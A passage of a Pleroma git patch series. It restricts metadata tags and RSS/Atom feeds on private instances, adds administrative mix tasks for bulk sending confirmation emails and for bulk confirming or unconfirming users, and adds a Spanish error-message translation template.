Pleroma.Web.Metadata.Providers.RelMe, - | Pleroma.Config.get([__MODULE__, :providers], []) + Pleroma.Web.Metadata.Providers.RelMe + | activated_providers() ] Enum.reduce(providers, "", fn parser, acc -> @@ -43,4 +43,12 @@ def activity_nsfw?(%{data: %{"sensitive" => sensitive}}) do def activity_nsfw?(_) do false end + + defp activated_providers do + if Pleroma.Config.get!([:instance, :public]) do + Pleroma.Config.get([__MODULE__, :providers], []) + else + [] + end + end end diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 3f8b29e58..4dd0d2f5c 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -22,4 +22,13 @@ test "for local user" do "" end end + + describe "no metadata for private instances" do + test "for local user" do + Pleroma.Config.put([:instance, :public], false) + user = insert(:user, bio: "This is my secret fedi account bio") + + assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) + end + end end -- cgit v1.2.3 From 14d07081fd82211071eafb3c31d8c756fe9af9f5 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 14:48:22 -0500 Subject: Feed provider only generates a redirect, so always activate it. Making this configurable is misleading. --- config/config.exs | 3 +-- lib/pleroma/web/metadata.ex | 5 +++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/config/config.exs b/config/config.exs index df61c069e..1a2b312b5 100644 --- a/config/config.exs +++ b/config/config.exs @@ -454,8 +454,7 @@ config :pleroma, Pleroma.Web.Metadata, providers: [ Pleroma.Web.Metadata.Providers.OpenGraph, - Pleroma.Web.Metadata.Providers.TwitterCard, - Pleroma.Web.Metadata.Providers.Feed + Pleroma.Web.Metadata.Providers.TwitterCard ], unfurl_nsfw: false diff --git a/lib/pleroma/web/metadata.ex b/lib/pleroma/web/metadata.ex index 0f0b56321..926b5b187 100644 --- a/lib/pleroma/web/metadata.ex +++ b/lib/pleroma/web/metadata.ex @@ -7,8 +7,9 @@ defmodule Pleroma.Web.Metadata do def build_tags(params) do providers = [ - Pleroma.Web.Metadata.Providers.RestrictIndexing, - Pleroma.Web.Metadata.Providers.RelMe + Pleroma.Web.Metadata.Providers.Feed, + Pleroma.Web.Metadata.Providers.RelMe, + Pleroma.Web.Metadata.Providers.RestrictIndexing | activated_providers() ] -- cgit v1.2.3 From 44ced17634a9c89b9ff4a47c64805356f7f6401c Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 15:54:22 -0500 Subject: Fix test so setting doesn't leak --- test/web/metadata/metadata_test.exs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index 4dd0d2f5c..f7371cae2 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -24,6 +24,8 @@ test "for local user" do end describe "no metadata for private instances" do + setup do: clear_config([:instance, :public]) + test "for local user" do Pleroma.Config.put([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") -- cgit v1.2.3 From a85ed6defbd2cec71d9a5594ef1de18d5333c7c7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 15:58:21 -0500 Subject: Do not serve RSS/Atom feeds when instance is private --- lib/pleroma/web/feed/tag_controller.ex | 10 +++++++++- lib/pleroma/web/feed/user_controller.ex | 10 +++++++++- lib/pleroma/web/metadata/feed.ex | 20 ++++++++++++-------- test/web/feed/tag_controller_test.exs | 13 +++++++++++++ test/web/feed/user_controller_test.exs | 16 ++++++++++++++++ 5 files changed, 59 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/web/feed/tag_controller.ex b/lib/pleroma/web/feed/tag_controller.ex index 39b2a766a..e090dd625 100644 --- a/lib/pleroma/web/feed/tag_controller.ex +++ b/lib/pleroma/web/feed/tag_controller.ex @@ -9,7 +9,15 @@ defmodule Pleroma.Web.Feed.TagController do alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.Feed.FeedView - def feed(conn, %{"tag" => raw_tag} = params) do + def feed(conn, params) do + if Pleroma.Config.get!([:instance, :public]) do + render_feed(conn, params) + else + render_error(conn, :not_found, "Not found") + end + end + + def render_feed(conn, %{"tag" => raw_tag} = params) do {format, tag} = parse_tag(raw_tag) activities = diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 9cd334a33..595889b9d 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -37,7 +37,15 @@ def feed_redirect(conn, %{"nickname" => nickname}) do end end - def feed(conn, %{"nickname" => nickname} = params) do + def feed(conn, params) do + if Pleroma.Config.get!([:instance, :public]) do + render_feed(conn, params) + else + errors(conn, {:error, :not_found}) + end + end + + def render_feed(conn, %{"nickname" => nickname} = params) do format = get_format(conn) format = diff --git a/lib/pleroma/web/metadata/feed.ex b/lib/pleroma/web/metadata/feed.ex index bd1459a17..dfe391b56 100644 --- a/lib/pleroma/web/metadata/feed.ex +++ b/lib/pleroma/web/metadata/feed.ex @@ -11,13 +11,17 @@ defmodule Pleroma.Web.Metadata.Providers.Feed do @impl Provider def build_tags(%{user: user}) do - [ - {:link, - [ - rel: "alternate", - type: "application/atom+xml", - href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" - ], []} - ] + if Pleroma.Config.get!([:instance, :public]) do + [ + {:link, + [ + rel: "alternate", + type: "application/atom+xml", + href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" + ], []} + ] + else + [] + end end end diff --git a/test/web/feed/tag_controller_test.exs b/test/web/feed/tag_controller_test.exs index 3c29cd94f..868e40965 100644 --- a/test/web/feed/tag_controller_test.exs +++ b/test/web/feed/tag_controller_test.exs @@ -181,4 +181,17 @@ test "gets a feed (RSS)", %{conn: conn} do 'yeah #PleromaArt' ] end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for tags feed", %{conn: conn} do + Config.put([:instance, :public], false) + + conn + |> put_req_header("accept", "application/rss+xml") + |> get(tag_feed_path(conn, :feed, "pleromaart")) + |> response(404) + end + end end diff --git a/test/web/feed/user_controller_test.exs b/test/web/feed/user_controller_test.exs index 0d2a61967..9a5610baa 100644 --- a/test/web/feed/user_controller_test.exs +++ b/test/web/feed/user_controller_test.exs @@ -246,4 +246,20 @@ test "with non-html / non-json format, it returns error when user is not found", assert response == ~S({"error":"Not found"}) end end + + describe "private instance" do + setup do: clear_config([:instance, :public]) + + test "returns 404 for user feed", %{conn: conn} do + Config.put([:instance, :public], false) + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + + assert conn + |> put_req_header("accept", "application/atom+xml") + |> get(user_feed_path(conn, :feed, user.nickname)) + |> response(404) + end + end end -- cgit v1.2.3 From 96697db3bc4d8fda90906cdeff77ae2668066bd4 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 16:11:01 -0500 Subject: RelMe and Feed no longer configurable --- docs/configuration/cheatsheet.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index bffce95e7..ec59896ec 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -353,8 +353,6 @@ config :pleroma, Pleroma.Web.MediaProxy.Invalidation.Http, * `providers`: a list of metadata providers to enable. Providers available: * `Pleroma.Web.Metadata.Providers.OpenGraph` * `Pleroma.Web.Metadata.Providers.TwitterCard` - * `Pleroma.Web.Metadata.Providers.RelMe` - add links from user bio with rel=me into the `
` as ``. - * `Pleroma.Web.Metadata.Providers.Feed` - add a link to a user's Atom feed into the `
` as ``. * `unfurl_nsfw`: If set to `true` nsfw attachments will be shown in previews. ### :rich_media (consumer) -- cgit v1.2.3 From 549c895d80f36109731565abf00303a7f80add21 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 31 Aug 2020 16:11:13 -0500 Subject: Document breaking change for metadata providers --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 496c78ffe..512547427 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## unreleased-patch - ??? +### Changed + +- **Breaking:** The metadata providers RelMe and Feed are no longer configurable. RelMe should always be activated and Feed only provides a header tag for the actual RSS/Atom feed when the instance is public. + ### Security - Fix metadata leak for accounts and statuses on private instances -- cgit v1.2.3 From 2011142ed9ae45f53496b3682da7114255c814a5 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 1 Sep 2020 10:43:44 -0500 Subject: Use :restrict_unauthenticated testing for more granular control --- lib/pleroma/web/feed/tag_controller.ex | 2 +- lib/pleroma/web/feed/user_controller.ex | 2 +- lib/pleroma/web/metadata.ex | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/feed/tag_controller.ex b/lib/pleroma/web/feed/tag_controller.ex index e090dd625..93a8294b7 100644 --- a/lib/pleroma/web/feed/tag_controller.ex +++ b/lib/pleroma/web/feed/tag_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.Feed.TagController do alias Pleroma.Web.Feed.FeedView def feed(conn, params) do - if Pleroma.Config.get!([:instance, :public]) do + unless Pleroma.Config.restrict_unauthenticated_access?(:activities, :local) do render_feed(conn, params) else render_error(conn, :not_found, "Not found") diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 595889b9d..71eb1ea7e 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -38,7 +38,7 @@ def feed_redirect(conn, %{"nickname" => nickname}) do end def feed(conn, params) do - if Pleroma.Config.get!([:instance, :public]) do + unless Pleroma.Config.restrict_unauthenticated_access?(:profiles, :local) do render_feed(conn, params) else errors(conn, {:error, :not_found}) diff --git a/lib/pleroma/web/metadata.ex b/lib/pleroma/web/metadata.ex index 926b5b187..68835c826 100644 --- a/lib/pleroma/web/metadata.ex +++ b/lib/pleroma/web/metadata.ex @@ -46,7 +46,7 @@ def activity_nsfw?(_) do end defp activated_providers do - if Pleroma.Config.get!([:instance, :public]) do + unless Pleroma.Config.restrict_unauthenticated_access?(:activities, :local) do Pleroma.Config.get([__MODULE__, :providers], []) else [] -- cgit v1.2.3 From 0d2814ec8e41942cd5b056d9c1ed902be1e1773c Mon Sep 17 00:00:00 2001 From: rinpatch Date: Mon, 7 Sep 2020 15:06:06 +0300 Subject: Metadata: Move restriction check from Feed provider to activated_providers --- lib/pleroma/web/metadata.ex | 3 +-- lib/pleroma/web/metadata/feed.ex | 20 ++++++++------------ test/web/metadata/metadata_test.exs | 4 +--- 3 files changed, 10 insertions(+), 17 deletions(-) diff --git a/lib/pleroma/web/metadata.ex b/lib/pleroma/web/metadata.ex index 68835c826..0f2d8d1e7 100644 --- a/lib/pleroma/web/metadata.ex +++ b/lib/pleroma/web/metadata.ex @@ -7,7 +7,6 @@ defmodule Pleroma.Web.Metadata do def build_tags(params) do providers = [ - Pleroma.Web.Metadata.Providers.Feed, Pleroma.Web.Metadata.Providers.RelMe, Pleroma.Web.Metadata.Providers.RestrictIndexing | activated_providers() @@ -47,7 +46,7 @@ def activity_nsfw?(_) do defp activated_providers do unless Pleroma.Config.restrict_unauthenticated_access?(:activities, :local) do - Pleroma.Config.get([__MODULE__, :providers], []) + [Pleroma.Web.Metadata.Providers.Feed | Pleroma.Config.get([__MODULE__, :providers], [])] else [] end diff --git a/lib/pleroma/web/metadata/feed.ex b/lib/pleroma/web/metadata/feed.ex index dfe391b56..bd1459a17 100644 --- a/lib/pleroma/web/metadata/feed.ex +++ b/lib/pleroma/web/metadata/feed.ex @@ -11,17 +11,13 @@ defmodule Pleroma.Web.Metadata.Providers.Feed do @impl Provider def build_tags(%{user: user}) do - if Pleroma.Config.get!([:instance, :public]) do - [ - {:link, - [ - rel: "alternate", - type: "application/atom+xml", - href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" - ], []} - ] - else - [] - end + [ + {:link, + [ + rel: "alternate", + type: "application/atom+xml", + href: Helpers.user_feed_path(Endpoint, :feed, user.nickname) <> ".atom" + ], []} + ] end end diff --git a/test/web/metadata/metadata_test.exs b/test/web/metadata/metadata_test.exs index f7371cae2..9d3121b7b 100644 --- a/test/web/metadata/metadata_test.exs +++ b/test/web/metadata/metadata_test.exs @@ -24,10 +24,8 @@ test "for local user" do end describe "no metadata for private instances" do - setup do: clear_config([:instance, :public]) - test "for local user" do - Pleroma.Config.put([:instance, :public], false) + clear_config([:instance, :public], false) user = insert(:user, bio: "This is my secret fedi account bio") assert "" = Pleroma.Web.Metadata.build_tags(%{user: user}) -- cgit v1.2.3 From 23ca5f75afa7369ff52772c39dc3324e9402b230 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 16:39:08 -0500 Subject: Make it possible to bulk send confirmation emails to all unconfirmed users --- docs/administration/CLI_tasks/email.md | 16 +++++++++++++++- lib/mix/tasks/pleroma/email.ex | 19 ++++++++++++++++++- lib/pleroma/user/query.ex | 4 ++++ 3 files changed, 37 insertions(+), 2 deletions(-) diff --git a/docs/administration/CLI_tasks/email.md b/docs/administration/CLI_tasks/email.md index 00d2e74f8..439ea877a 100644 --- a/docs/administration/CLI_tasks/email.md +++ b/docs/administration/CLI_tasks/email.md @@ -1,4 +1,4 @@ -# Managing emails +# E-Mail administration tasks {! backend/administration/CLI_tasks/general_cli_task_info.include !} @@ -30,3 +30,17 @@ Example: ```sh mix pleroma.email test --to root@example.org ``` + +## Send confirmation emails to all unconfirmed user accounts + +=== "OTP" + + ```sh + ./bin/pleroma_ctl email send_confirmation_mails + ``` + +=== "From Source" + + ```sh + mix pleroma.email send_confirmation_mails + ``` diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index d3fac6ec8..61d431971 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -2,7 +2,7 @@ defmodule Mix.Tasks.Pleroma.Email do use Mix.Task import Mix.Pleroma - @shortdoc "Simple Email test" + @shortdoc "Email administrative tasks" @moduledoc File.read!("docs/administration/CLI_tasks/email.md") def run(["test" | args]) do @@ -21,4 +21,21 @@ def run(["test" | args]) do shell_info("Test email has been sent to #{inspect(email.to)} from #{inspect(email.from)}") end + + def run(["resend_confirmation_emails"]) do + start_pleroma() + + Pleroma.User.Query.build(%{ + local: true, + deactivated: false, + confirmation_pending: true, + invisible: false + }) + |> Pleroma.RepoStreamer.chunk_stream(500) + |> Stream.each(fn users -> + users + |> Enum.each(fn user -> Pleroma.User.send_confirmation_email(user) end) + end) + |> Stream.run() + end end diff --git a/lib/pleroma/user/query.ex b/lib/pleroma/user/query.ex index d618432ff..f59ca6f9c 100644 --- a/lib/pleroma/user/query.ex +++ b/lib/pleroma/user/query.ex @@ -148,6 +148,10 @@ defp compose_query({:deactivated, true}, query) do |> where([u], not is_nil(u.nickname)) end + defp compose_query({:confirmation_pending, bool}, query) do + where(query, [u], u.confirmation_pending == ^bool) + end + defp compose_query({:need_approval, _}, query) do where(query, [u], u.approval_pending) end -- cgit v1.2.3 From 75b6fef25dd81c81cd5709739f97182045eec5b8 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 16:39:41 -0500 Subject: Add mix task for bulk [un]confirming the local instance users --- docs/administration/CLI_tasks/user.md | 37 ++++++++++++++++++-- lib/mix/tasks/pleroma/user.ex | 66 +++++++++++++++++++++++++++++++---- lib/pleroma/user.ex | 7 ++++ lib/pleroma/user/query.ex | 8 ++--- 4 files changed, 105 insertions(+), 13 deletions(-) diff --git a/docs/administration/CLI_tasks/user.md b/docs/administration/CLI_tasks/user.md index 3e7f028ba..0fcc8cfb9 100644 --- a/docs/administration/CLI_tasks/user.md +++ b/docs/administration/CLI_tasks/user.md @@ -224,9 +224,10 @@ ``` ### Options -- `--locked`/`--no-locked` - whether the user should be locked -- `--moderator`/`--no-moderator` - whether the user should be a moderator -- `--admin`/`--no-admin` - whether the user should be an admin +- `--admin`/`--no-admin` - the user account admin status +- `--confirmed`/`--no-confirmed` - the user account confirmation status +- `--locked`/`--no-locked` - the user account locked status +- `--moderator`/`--no-moderator` - the user account moderator status ## Add tags to a user @@ -271,3 +272,33 @@ ```sh mix pleroma.user toggle_confirmed ``` + +## Set confirmation status for all regular active users +*Admins and moderators are excluded* + +=== "OTP" + + ```sh + ./bin/pleroma_ctl user confirm_all + ``` + +=== "From Source" + + ```sh + mix pleroma.user confirm_all + ``` + +## Revoke confirmation status for all regular active users +*Admins and moderators are excluded* + +=== "OTP" + + ```sh + ./bin/pleroma_ctl user unconfirm_all + ``` + +=== "From Source" + + ```sh + mix pleroma.user unconfirm_all + ``` diff --git a/lib/mix/tasks/pleroma/user.ex b/lib/mix/tasks/pleroma/user.ex index 01824aa18..4073fe5a4 100644 --- a/lib/mix/tasks/pleroma/user.ex +++ b/lib/mix/tasks/pleroma/user.ex @@ -196,17 +196,24 @@ def run(["set", nickname | rest]) do OptionParser.parse( rest, strict: [ - moderator: :boolean, admin: :boolean, - locked: :boolean + confirmed: :boolean, + locked: :boolean, + moderator: :boolean ] ) with %User{local: true} = user <- User.get_cached_by_nickname(nickname) do user = - case Keyword.get(options, :moderator) do + case Keyword.get(options, :admin) do nil -> user - value -> set_moderator(user, value) + value -> set_admin(user, value) + end + + user = + case Keyword.get(options, :confirmed) do + nil -> user + value -> set_confirmed(user, value) end user = @@ -216,9 +223,9 @@ def run(["set", nickname | rest]) do end _user = - case Keyword.get(options, :admin) do + case Keyword.get(options, :moderator) do nil -> user - value -> set_admin(user, value) + value -> set_moderator(user, value) end else _ -> @@ -353,6 +360,42 @@ def run(["toggle_confirmed", nickname]) do end end + def run(["confirm_all"]) do + start_pleroma() + + Pleroma.User.Query.build(%{ + local: true, + deactivated: false, + is_moderator: false, + is_admin: false, + invisible: false + }) + |> Pleroma.RepoStreamer.chunk_stream(500) + |> Stream.each(fn users -> + users + |> Enum.each(fn user -> User.need_confirmation(user, false) end) + end) + |> Stream.run() + end + + def run(["unconfirm_all"]) do + start_pleroma() + + Pleroma.User.Query.build(%{ + local: true, + deactivated: false, + is_moderator: false, + is_admin: false, + invisible: false + }) + |> Pleroma.RepoStreamer.chunk_stream(500) + |> Stream.each(fn users -> + users + |> Enum.each(fn user -> User.need_confirmation(user, true) end) + end) + |> Stream.run() + end + def run(["sign_out", nickname]) do start_pleroma() @@ -410,4 +453,15 @@ defp set_locked(user, value) do shell_info("Locked status of #{user.nickname}: #{user.locked}") user end + + defp set_confirmed(user, value) do + {:ok, user} = + case value do + true -> User.need_confirmation(user, false) + false -> User.need_confirmation(user, true) + end + + shell_info("Confirmation pending status of #{user.nickname}: #{user.confirmation_pending}") + user + end end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index f323fc6ed..603fc3b44 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -2123,6 +2123,13 @@ def toggle_confirmation(users) do Enum.map(users, &toggle_confirmation/1) end + @spec need_confirmation(User.t(), boolean()) :: {:ok, User.t()} | {:error, Changeset.t()} + def need_confirmation(%User{} = user, bool) do + user + |> confirmation_changeset(need_confirmation: bool) + |> update_and_set_cache() + end + def get_mascot(%{mascot: %{} = mascot}) when not is_nil(mascot) do mascot end diff --git a/lib/pleroma/user/query.ex b/lib/pleroma/user/query.ex index f59ca6f9c..64bb24c0e 100644 --- a/lib/pleroma/user/query.ex +++ b/lib/pleroma/user/query.ex @@ -107,12 +107,12 @@ defp compose_query({:tags, tags}, query) when is_list(tags) and length(tags) > 0 where(query, [u], fragment("? && ?", u.tags, ^tags)) end - defp compose_query({:is_admin, _}, query) do - where(query, [u], u.is_admin) + defp compose_query({:is_admin, bool}, query) do + where(query, [u], u.is_admin == ^bool) end - defp compose_query({:is_moderator, _}, query) do - where(query, [u], u.is_moderator) + defp compose_query({:is_moderator, bool}, query) do + where(query, [u], u.is_moderator == ^bool) end defp compose_query({:super_users, _}, query) do -- cgit v1.2.3 From d23d0c27c25e3ce7b39cae6e504062b4cb389ea4 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 16:48:54 -0500 Subject: Handle possibility of user account in a bulk operation not having an email address --- lib/mix/tasks/pleroma/email.ex | 2 +- lib/pleroma/user.ex | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index 61d431971..c0bef0386 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -34,7 +34,7 @@ def run(["resend_confirmation_emails"]) do |> Pleroma.RepoStreamer.chunk_stream(500) |> Stream.each(fn users -> users - |> Enum.each(fn user -> Pleroma.User.send_confirmation_email(user) end) + |> Enum.each(fn user -> Pleroma.User.try_send_confirmation_email(user) end) end) |> Stream.run() end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 603fc3b44..9dea39619 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -814,7 +814,8 @@ def send_welcome_email(%User{email: email} = user) when is_binary(email) do def send_welcome_email(_), do: {:ok, :noop} @spec try_send_confirmation_email(User.t()) :: {:ok, :enqueued | :noop} - def try_send_confirmation_email(%User{confirmation_pending: true} = user) do + def try_send_confirmation_email(%User{confirmation_pending: true, email: email} = user) + when is_binary(email) do if Config.get([:instance, :account_activation_required]) do send_confirmation_email(user) {:ok, :enqueued} -- cgit v1.2.3 From ed847474c305386adbcb97c569a0861d6fad5284 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 16:59:53 -0500 Subject: Fix descriptions --- docs/administration/CLI_tasks/user.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/administration/CLI_tasks/user.md b/docs/administration/CLI_tasks/user.md index 0fcc8cfb9..c64ed4f22 100644 --- a/docs/administration/CLI_tasks/user.md +++ b/docs/administration/CLI_tasks/user.md @@ -224,10 +224,10 @@ ``` ### Options -- `--admin`/`--no-admin` - the user account admin status -- `--confirmed`/`--no-confirmed` - the user account confirmation status -- `--locked`/`--no-locked` - the user account locked status -- `--moderator`/`--no-moderator` - the user account moderator status +- `--admin`/`--no-admin` - whether the user should be an admin +- `--confirmed`/`--no-confirmed` - whether the user account is confirmed +- `--locked`/`--no-locked` - whether the user should be locked +- `--moderator`/`--no-moderator` - whether the user should be a moderator ## Add tags to a user -- cgit v1.2.3 From bccef4b9973e6fff898e819ff9f0234ad0cbf190 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 8 Sep 2020 17:01:55 -0500 Subject: Pedantry --- docs/administration/CLI_tasks/email.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/administration/CLI_tasks/email.md b/docs/administration/CLI_tasks/email.md index 439ea877a..d9aa0e71b 100644 --- a/docs/administration/CLI_tasks/email.md +++ b/docs/administration/CLI_tasks/email.md @@ -1,4 +1,4 @@ -# E-Mail administration tasks +# EMail administration tasks {! backend/administration/CLI_tasks/general_cli_task_info.include !} -- cgit v1.2.3 From ace94bfcc8a57a633a0bdf5746eefae32e6fdad9 Mon Sep 17 00:00:00 2001 From: tarteka Date: Wed, 9 Sep 2020 09:49:26 +0000 Subject: Added translation using Weblate (Spanish) --- priv/gettext/es/LC_MESSAGES/errors.po | 584 ++++++++++++++++++++++++++++++++++ 1 file changed, 584 insertions(+) create mode 100644 priv/gettext/es/LC_MESSAGES/errors.po diff --git a/priv/gettext/es/LC_MESSAGES/errors.po b/priv/gettext/es/LC_MESSAGES/errors.po new file mode 100644 index 000000000..4b0972e88 --- /dev/null +++ b/priv/gettext/es/LC_MESSAGES/errors.po @@ -0,0 +1,584 @@ +msgid "" +msgstr "" +"Project-Id-Version: PACKAGE VERSION\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2020-09-09 09:49+0000\n" +"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" +"Last-Translator: Automatically generated\n" +"Language-Team: none\n" +"Language: es\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Translate Toolkit 2.5.1\n" + +## This file is a PO Template file. +## +## `msgid`s here are often extracted from source code. +## Add new translations manually only if they're dynamic +## translations that can't be statically extracted. +## +## Run `mix gettext.extract` to bring this file up to +## date. Leave `msgstr`s empty as changing them here as no +## effect: edit them in PO (`.po`) files instead. +## From Ecto.Changeset.cast/4 +msgid "can't be blank" +msgstr "" + +## From Ecto.Changeset.unique_constraint/3 +msgid "has already been taken" +msgstr "" + +## From Ecto.Changeset.put_change/3 +msgid "is invalid" +msgstr "" + +## From Ecto.Changeset.validate_format/3 +msgid "has invalid format" +msgstr "" + +## From Ecto.Changeset.validate_subset/3 +msgid "has an invalid entry" +msgstr "" + +## From Ecto.Changeset.validate_exclusion/3 +msgid "is reserved" +msgstr "" + +## From Ecto.Changeset.validate_confirmation/3 +msgid "does not match confirmation" +msgstr "" + +## From Ecto.Changeset.no_assoc_constraint/3 +msgid "is still associated with this entry" +msgstr "" + +msgid "are still associated with this entry" +msgstr "" + +## From Ecto.Changeset.validate_length/3 +msgid "should be %{count} character(s)" +msgid_plural "should be %{count} character(s)" +msgstr[0] "" +msgstr[1] "" + +msgid "should have %{count} item(s)" +msgid_plural "should have %{count} item(s)" +msgstr[0] "" +msgstr[1] "" + +msgid "should be at least %{count} character(s)" +msgid_plural "should be at least %{count} character(s)" +msgstr[0] "" +msgstr[1] "" + +msgid "should have at least %{count} item(s)" +msgid_plural "should have at least %{count} item(s)" +msgstr[0] "" +msgstr[1] "" + +msgid "should be at most %{count} character(s)" +msgid_plural "should be at most %{count} character(s)" +msgstr[0] "" +msgstr[1] "" + +msgid "should have at most %{count} item(s)" +msgid_plural "should have at most %{count} item(s)" +msgstr[0] "" +msgstr[1] "" + +## From Ecto.Changeset.validate_number/3 +msgid "must be less than %{number}" +msgstr "" + +msgid "must be greater than %{number}" +msgstr "" + +msgid "must be less than or equal to %{number}" +msgstr "" + +msgid "must be greater than or equal to %{number}" +msgstr "" + +msgid "must be equal to %{number}" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:505 +#, elixir-format +msgid "Account not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:339 +#, elixir-format +msgid "Already voted" +msgstr "" + +#: lib/pleroma/web/oauth/oauth_controller.ex:359 +#, elixir-format +msgid "Bad request" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:426 +#, elixir-format +msgid "Can't delete object" +msgstr "" + +#: lib/pleroma/web/controller_helper.ex:105 +#: lib/pleroma/web/controller_helper.ex:111 +#, elixir-format +msgid "Can't display this activity" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:285 +#, elixir-format +msgid "Can't find user" +msgstr "" + +#: lib/pleroma/web/pleroma_api/controllers/account_controller.ex:61 +#, elixir-format +msgid "Can't get favorites" +msgstr "" + +#: lib/pleroma/web/activity_pub/activity_pub_controller.ex:438 +#, elixir-format +msgid "Can't like object" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:563 +#, elixir-format +msgid "Cannot post an empty status without attachments" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:511 +#, elixir-format +msgid "Comment must be up to %{max_size} characters" +msgstr "" + +#: lib/pleroma/config/config_db.ex:191 +#, elixir-format +msgid "Config with params %{params} not found" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:181 +#: lib/pleroma/web/common_api/common_api.ex:185 +#, elixir-format +msgid "Could not delete" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:231 +#, elixir-format +msgid "Could not favorite" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:453 +#, elixir-format +msgid "Could not pin" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:278 +#, elixir-format +msgid "Could not unfavorite" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:463 +#, elixir-format +msgid "Could not unpin" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:216 +#, elixir-format +msgid "Could not unrepeat" +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:512 +#: lib/pleroma/web/common_api/common_api.ex:521 +#, elixir-format +msgid "Could not update state" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex:207 +#, elixir-format +msgid "Error." +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:106 +#, elixir-format +msgid "Invalid CAPTCHA" +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:116 +#: lib/pleroma/web/oauth/oauth_controller.ex:568 +#, elixir-format +msgid "Invalid credentials" +msgstr "" + +#: lib/pleroma/plugs/ensure_authenticated_plug.ex:38 +#, elixir-format +msgid "Invalid credentials." +msgstr "" + +#: lib/pleroma/web/common_api/common_api.ex:355 +#, elixir-format +msgid "Invalid indices" +msgstr "" + +#: lib/pleroma/web/admin_api/controllers/fallback_controller.ex:29 +#, elixir-format +msgid "Invalid parameters" +msgstr "" + +#: lib/pleroma/web/common_api/utils.ex:414 +#, elixir-format +msgid "Invalid password." +msgstr "" + +#: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:220 +#, elixir-format +msgid "Invalid request" +msgstr "" + +#: lib/pleroma/web/twitter_api/twitter_api.ex:109 +#, 